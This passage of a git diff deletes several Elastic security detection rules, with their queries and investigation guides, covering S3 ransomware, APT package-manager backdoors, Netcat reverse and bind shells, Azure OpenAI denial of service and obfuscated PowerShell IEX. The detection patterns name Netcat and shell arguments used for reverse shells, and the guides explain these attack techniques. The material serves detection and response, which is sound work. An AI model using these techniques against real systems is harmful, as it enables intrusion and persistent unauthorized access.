CloudTrail events before and after this action to see if the same actor or IP address engaged in other potentially suspicious activities.\n- **Check for Object Deletion or Access**: Look for `DeleteObject`, `DeleteObjects`, or `GetObject` API calls to the same S3 bucket that may indicate the adversary accessing and destroying objects including older object versions.\n- **Interview Relevant Personnel**: If the copy event was initiated by a user, verify the intent and authorization for this action with the person or team responsible for managing S3 buckets.\n\n### False Positive Analysis:\n\n- **Legitimate Administrative Actions**: Confirm if the `CopyObject` action aligns with scheduled updates, maintenance activities, or legitimate administrative tasks documented in change management systems.\n- **Consistency Check**: Compare the action against historical data of similar activities performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm.\n\n### Response and Remediation:\n\n- **Immediate Review**: If the activity was unauthorized, search for potential ransom note placed in S3 bucket and review the bucket's access logs for any suspicious activity.\n- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar `CopyObject` actions, especially those involving sensitive data or unusual file extensions.\n- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning S3 bucket management and the risks of ransomware.\n- **Audit S3 Bucket Policies and Permissions**: Conduct a comprehensive audit of all S3 bucket policies and associated permissions to ensure they adhere to the principle of least privilege.\n- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences.\n\n### Additional Information:\n\nFor further guidance on managing S3 bucket security and protecting against ransomware, refer to the [AWS S3 documentation](https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html) and AWS best practices for security. Additionally, consult the following resources for specific details on S3 ransomware protection:\n- [ERMETIC REPORT - AWS S3 Ransomware Exposure in the Wild](https://s3.amazonaws.com/bizzabo.file.upload/PtZzA0eFQwV2RA5ysNeo_ERMETIC%20REPORT%20-%20AWS%20S3%20Ransomware%20Exposure%20in%20the%20Wild.pdf)\n- [S3 Ransomware Part 1: Attack Vector](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)\n", - "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n\n// any successful copy event\n| where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"s3.amazonaws.com\"\n and event.action == \"CopyObject\"\n and event.outcome == \"success\"\n\n// abstract key account id, key id, encrypted object bucket name and object name\n| dissect aws.cloudtrail.request_parameters \"{%{?bucketName}=%{target.bucketName},%{?x-amz-server-side-encryption-aws-kms-key-id}=%{?arn}:%{?aws}:%{?kms}:%{?region}:%{key.account.id}:%{?key}/%{keyId},%{?Host}=%{?tls.client.server_name},%{?x-amz-server-side-encryption}=%{?server-side-encryption},%{?x-amz-copy-source}=%{?bucket.objectName},%{?key}=%{target.objectName}}\"\n\n// filter for s3 objects whose account id is different from the encryption key's account id\n// add exceptions based on key.account.id or keyId for known external accounts or encryption keys\n| where cloud.account.id != key.account.id\n\n// keep relevant fields\n| keep @timestamp, aws.cloudtrail.user_identity.arn, cloud.account.id, event.action, target.bucketName, key.account.id, keyId, target.objectName\n", - "references": [ - "https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingKMSEncryption.html/", - "https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateDataKey.html/", - "https://www.gem.security/post/cloud-ransomware-a-new-take-on-an-old-attack-pattern/", - "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/" - ], - "risk_score": 47, - "rule_id": "ab8f074c-5565-4bc4-991c-d49770e19fc9", - "setup": "AWS S3 data event types need to be enabled in the CloudTrail trail configuration.", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS S3", - "Data Source: AWS KMS", - "Use Case: Threat Detection", - "Tactic: Impact", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0040", - "name": "Impact", - "reference": "https://attack.mitre.org/tactics/TA0040/" - }, - "technique": [ - { - "id": "T1486", - "name": "Data Encrypted for Impact", - "reference": "https://attack.mitre.org/techniques/T1486/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "ab8f074c-5565-4bc4-991c-d49770e19fc9_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/ad959eeb-2b7b-4722-ba08-a45f6622f005_106.json b/packages/security_detection_engine/kibana/security_rule/ad959eeb-2b7b-4722-ba08-a45f6622f005_106.json deleted file mode 100644 index 51acf94cc35..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/ad959eeb-2b7b-4722-ba08-a45f6622f005_106.json +++ /dev/null @@ -1,167 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects suspicious process events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.process*", - "logs-sentinel_one_cloud_funnel.*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Suspicious APT Package Manager Execution", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Suspicious APT Package Manager Execution\n\nThe APT package manager is a vital tool for managing software on Debian-based Linux systems, handling tasks like installation and updates. Adversaries may exploit APT by embedding malicious scripts to maintain persistence and control. The detection rule identifies unusual shell or script executions initiated by APT, signaling potential backdoor activities, thus aiding in early threat detection and response.\n\n### Possible investigation steps\n\n- Review the process execution details to identify the specific shell or script that was executed with APT as the parent process. Pay attention to the process names and arguments, such as \"bash\", \"dash\", \"sh\", etc., and the presence of the \"-c\" argument.\n- Examine the command-line arguments and scripts executed by the suspicious process to determine if they contain any malicious or unexpected commands.\n- Check the parent process details, specifically the APT process, to understand the context in which the shell or script was executed. This includes reviewing any recent package installations or updates that might have triggered the execution.\n- Investigate the user account under which the suspicious process was executed to assess if it has been compromised or if it has elevated privileges that could be exploited.\n- Correlate the event with other security logs or alerts from the same host to identify any additional indicators of compromise or related suspicious activities.\n- Review the system's package management logs to identify any recent changes or anomalies in package installations or updates that could be linked to the suspicious execution.\n\n### False positive analysis\n\n- Legitimate administrative scripts executed by system administrators using APT may trigger the rule. To handle this, identify and document routine administrative tasks and create exceptions for these specific scripts or commands.\n- Automated system maintenance scripts that use APT for updates or installations can be mistaken for suspicious activity. Review and whitelist these scripts by their specific command patterns or script names.\n- Custom software deployment processes that involve APT and shell scripts might be flagged. Analyze these processes and exclude them by defining clear criteria for legitimate deployment activities.\n- Security tools or monitoring solutions that interact with APT for scanning or auditing purposes may cause false positives. Verify these tools' operations and exclude their known benign processes from triggering the rule.\n- Development environments where developers frequently use APT and shell scripts for testing and building software can lead to alerts. Establish a baseline of normal development activities and exclude these from the detection rule.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further unauthorized access or lateral movement within the network.\n- Terminate any suspicious processes identified in the alert, particularly those initiated by the APT package manager that match the query criteria.\n- Conduct a thorough review of the APT configuration files and scripts to identify and remove any injected malicious code or unauthorized modifications.\n- Restore the affected system from a known good backup if malicious modifications are extensive or if the integrity of the system cannot be assured.\n- Update all system packages and apply security patches to mitigate vulnerabilities that may have been exploited by the adversary.\n- Monitor the affected host and network for any signs of re-infection or further suspicious activity, focusing on the execution of shell scripts and unauthorized network connections.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised.", - "query": "sequence by host.id with maxspan=5s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\") and\n process.parent.name == \"apt\" and process.args == \"-c\" and process.name in (\n \"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\"\n ) and not process.executable == \"/usr/lib/venv-salt-minion/bin/python.original\"\n ] by process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\") and process.name : (\n \"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\", \"python*\", \"php*\",\n \"perl\", \"ruby\", \"lua*\", \"openssl\", \"nc\", \"netcat\", \"ncat\", \"telnet\", \"awk\"\n )\n ] by process.parent.entity_id\n", - "references": [ - "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.id", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.entity_id", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.executable", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.entity_id", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "ad959eeb-2b7b-4722-ba08-a45f6622f005", - "setup": "## Setup\n\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Persistence", - "Tactic: Execution", - "Tactic: Defense Evasion", - "Data Source: Elastic Defend", - "Data Source: SentinelOne", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1543", - "name": "Create or Modify System Process", - "reference": "https://attack.mitre.org/techniques/T1543/" - }, - { - "id": "T1546", - "name": "Event Triggered Execution", - "reference": "https://attack.mitre.org/techniques/T1546/", - "subtechnique": [ - { - "id": "T1546.016", - "name": "Installer Packages", - "reference": "https://attack.mitre.org/techniques/T1546/016/" - } - ] - }, - { - "id": "T1574", - "name": "Hijack Execution Flow", - "reference": "https://attack.mitre.org/techniques/T1574/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [] - } - ], - "type": "eql", - "version": 106 - }, - "id": "ad959eeb-2b7b-4722-ba08-a45f6622f005_106", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/adb961e0-cb74-42a0-af9e-29fc41f88f5f_212.json b/packages/security_detection_engine/kibana/security_rule/adb961e0-cb74-42a0-af9e-29fc41f88f5f_212.json deleted file mode 100644 index 049228ba046..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/adb961e0-cb74-42a0-af9e-29fc41f88f5f_212.json +++ /dev/null @@ -1,114 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "A netcat process is engaging in network activity on a Linux host. Netcat is often used as a persistence mechanism by exporting a reverse shell or by serving a shell on a listening port. Netcat is also sometimes used for data exfiltration.", - "false_positives": [ - "Netcat is a dual-use tool that can be used for benign or malicious activity. Netcat is included in some Linux distributions so its presence is not necessarily suspicious. Some normal use of this program, while uncommon, may originate from scripts, automation tools, and frameworks." - ], - "from": "now-9m", - "index": [ - "auditbeat-*", - "logs-endpoint.events.network*", - "logs-endpoint.events.process*", - "logs-sentinel_one_cloud_funnel.*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "File Transfer or Listener Established via Netcat", - "note": "## Triage and analysis\n\n### Investigating File Transfer or Listener Established via Netcat\n\nNetcat is a dual-use command line tool that can be used for various purposes, such as port scanning, file transfers, and connection tests. Attackers can abuse its functionality for malicious purposes such creating bind shells or reverse shells to gain access to the target system.\n\nA reverse shell is a mechanism that's abused to connect back to an attacker-controlled system. It effectively redirects the system's input and output and delivers a fully functional remote shell to the attacker. Even private systems are vulnerable since the connection is outgoing.\n\nA bind shell is a type of backdoor that attackers set up on the target host and binds to a specific port to listen for an incoming connection from the attacker.\n\nThis rule identifies potential reverse shell or bind shell activity using Netcat by checking for the execution of Netcat followed by a network connection.\n\n#### Possible investigation steps\n\n- Examine the command line to identify if the command is suspicious.\n- Extract and examine the target domain or IP address.\n - Check if the domain is newly registered or unexpected.\n - Check the reputation of the domain or IP address.\n - Scope other potentially compromised hosts in your environment by mapping hosts that also communicated with the domain or IP address.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections.\n- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes.\n\n### False positive analysis\n\n- Netcat is a dual-use tool that can be used for benign or malicious activity. It is included in some Linux distributions, so its presence is not necessarily suspicious. Some normal use of this program, while uncommon, may originate from scripts, automation tools, and frameworks.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the involved host to prevent further post-compromise behavior.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Block the identified indicators of compromise (IoCs).\n- Take actions to terminate processes and connections used by the attacker.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "sequence by process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and\n process.name:(\"nc\",\"ncat\",\"netcat\",\"netcat.openbsd\",\"netcat.traditional\") and (\n /* bind shell to echo for command execution */\n (process.args:(\"-l\",\"-p\") and process.args:(\"-c\",\"echo\",\"$*\"))\n /* bind shell to specific port */\n or process.args:(\"-l\",\"-p\",\"-lp\")\n /* reverse shell to command-line interpreter used for command execution */\n or (process.args:(\"-e\") and process.args:(\"/bin/bash\",\"/bin/sh\"))\n /* file transfer via stdout */\n or process.args:(\">\",\"<\")\n /* file transfer via pipe */\n or (process.args:(\"|\") and process.args:(\"nc\",\"ncat\"))\n ) and\n not process.command_line like~ (\"*127.0.0.1*\", \"*localhost*\")]\n [network where host.os.type == \"linux\" and (process.name == \"nc\" or process.name == \"ncat\" or process.name == \"netcat\" or\n process.name == \"netcat.openbsd\" or process.name == \"netcat.traditional\")]\n", - "references": [ - "http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", - "https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf", - "https://en.wikipedia.org/wiki/Netcat", - "https://www.hackers-arise.com/hacking-fundamentals", - "https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/", - "https://levelup.gitconnected.com/ethical-hacking-part-15-netcat-nc-and-netcat-f6a8f7df43fd" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.command_line", - "type": "wildcard" - }, - { - "ecs": true, - "name": "process.entity_id", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "adb961e0-cb74-42a0-af9e-29fc41f88f5f", - "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n- Auditbeat\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\n### Auditbeat Setup\nAuditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations.\n\n#### The following steps should be executed in order to add the Auditbeat on a Linux System:\n- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages.\n- To install the APT and YUM repositories follow the setup instructions in this [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html).\n- To run Auditbeat on Docker follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html).\n- To run Auditbeat on Kubernetes follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html).\n- For complete \u201cSetup and Run Auditbeat\u201d information refer to the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Execution", - "Resources: Investigation Guide", - "Data Source: Elastic Defend", - "Data Source: SentinelOne" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - } - ] - } - ], - "type": "eql", - "version": 212 - }, - "id": "adb961e0-cb74-42a0-af9e-29fc41f88f5f_212", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b0450411-46e5-46d2-9b35-8b5dd9ba763e_1.json b/packages/security_detection_engine/kibana/security_rule/b0450411-46e5-46d2-9b35-8b5dd9ba763e_1.json deleted file mode 100644 index 61205034280..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/b0450411-46e5-46d2-9b35-8b5dd9ba763e_1.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects patterns indicative of Denial-of-Service (DoS) attacks on machine learning (ML) models, focusing on unusually high volume and frequency of requests or patterns of requests that are known to cause performance degradation or service disruption, such as large input sizes or rapid API calls.", - "false_positives": [ - "Unexpected system errors", - "Legitimate spikes in usage due to business processes" - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential Denial of Azure OpenAI ML Service", - "query": "from logs-azure_openai.logs-*\n// truncate the timestamp to a 1-minute window\n| eval target_time_window = DATE_TRUNC(1 minutes, @timestamp)\n| where azure.open_ai.operation_name == \"ChatCompletions_Create\"\n| keep azure.open_ai.properties.request_length, azure.resource.name, cloud.account.id,target_time_window\n| stats count = count(), avg_request_size = avg(azure.open_ai.properties.request_length) by target_time_window, azure.resource.name\n| where count >= 10 and avg_request_size >= 5000\n| sort count desc\n", - "references": [ - "https://genai.owasp.org/llmrisk/llm04-model-denial-of-service", - "https://atlas.mitre.org/techniques/AML.T0029" - ], - "risk_score": 47, - "rule_id": "b0450411-46e5-46d2-9b35-8b5dd9ba763e", - "setup": "## Setup\n\nFor more information on streaming events, see the Azure OpenAI documentation:\n\nhttps://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs\n", - "severity": "medium", - "tags": [ - "Domain: LLM", - "Data Source: Azure OpenAI", - "Data Source: Azure Event Hubs", - "Use Case: Denial of Service", - "Mitre Atlas: T0029" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "b0450411-46e5-46d2-9b35-8b5dd9ba763e_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b0c98cfb-0745-4513-b6f9-08dddb033490_2.json b/packages/security_detection_engine/kibana/security_rule/b0c98cfb-0745-4513-b6f9-08dddb033490_2.json deleted file mode 100644 index 57a723fdcc7..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/b0c98cfb-0745-4513-b6f9-08dddb033490_2.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) command at runtime using indexed slices of environment variables. This technique leverages character access and join operations to build execution logic dynamically, bypassing static keyword detection and evading defenses such as AMSI.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential Dynamic IEX Reconstruction via Environment Variables", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Dynamic IEX Reconstruction via Environment Variables\n\nPowerShell's Invoke-Expression (IEX) command is a powerful tool for executing strings as code, often exploited by attackers to run obfuscated scripts. Adversaries may dynamically reconstruct IEX using environment variables to evade static detection. The detection rule identifies scripts that manipulate environment variables to form IEX commands, focusing on patterns of character slicing and joining, which are indicative of obfuscation techniques. By analyzing script length and specific patterns, the rule effectively flags potential misuse, aiding in defense against such evasion tactics.\n\n### Possible investigation steps\n\n- Review the powershell.file.script_block_text field to understand the content and intent of the script, focusing on how environment variables are manipulated to reconstruct the IEX command.\n- Examine the file.path and host.name fields to determine the origin and location of the script execution, which can provide context on whether the activity is expected or suspicious.\n- Analyze the user.id and agent.id fields to identify the user and agent responsible for executing the script, checking for any anomalies or unauthorized access.\n- Investigate the powershell.file.script_block_id and powershell.sequence fields to trace the execution sequence and correlate it with other related PowerShell activities on the host.\n- Assess the count field to understand the extent of obfuscation patterns detected, which can indicate the complexity and potential maliciousness of the script.\n\n### False positive analysis\n\n- Scripts with legitimate use of environment variables for configuration management may trigger the rule. Users can create exceptions for specific scripts or processes known to use environment variables in a non-threatening manner.\n- Automated scripts that dynamically construct commands for legitimate administrative tasks might be flagged. Review the script's purpose and source, and whitelist trusted scripts or processes.\n- Development environments where scripts are frequently tested and modified may produce false positives. Implement monitoring exclusions for development machines or specific user accounts involved in script testing.\n- Scripts using environment variables for localization or language settings can be mistakenly identified. Identify and exclude scripts that are part of standard localization processes.\n- PowerShell scripts from trusted vendors or software packages that use environment variables for legitimate functionality should be reviewed and excluded from detection if verified as safe.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and limit lateral movement.\n- Terminate any suspicious PowerShell processes identified by the alert to stop ongoing malicious activity.\n- Review the PowerShell script block text and associated file paths to understand the scope and intent of the script, focusing on any obfuscated commands or environment variable manipulations.\n- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised.\n- Update endpoint protection and intrusion detection systems to recognize and block similar obfuscation patterns in PowerShell scripts.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n- Implement additional monitoring for unusual PowerShell activity and environment variable manipulations to enhance detection of similar threats in the future.\n", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Look for scripts with more than 500 chars that contain a related keyword\n| EVAL script_len = LENGTH(powershell.file.script_block_text)\n| WHERE script_len > 500\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"(?i)(\\$(?:\\w+|\\w+\\:\\w+)\\[\\d++\\]\\+\\$(?:\\w+|\\w+\\:\\w+)\\[\\d++\\]\\+['\"]x['\"]|\\$(?:\\w+\\:\\w+)\\[\\d++,\\d++,\\d++\\]|\\.name\\[\\d++,\\d++,\\d++\\])\"\"\", \"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n| WHERE count >= 1\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "b0c98cfb-0745-4513-b6f9-08dddb033490", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "b0c98cfb-0745-4513-b6f9-08dddb033490_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b1773d05-f349-45fb-9850-287b8f92f02d_3.json b/packages/security_detection_engine/kibana/security_rule/b1773d05-f349-45fb-9850-287b8f92f02d_3.json deleted file mode 100644 index 49224da4feb..00000000000 --- 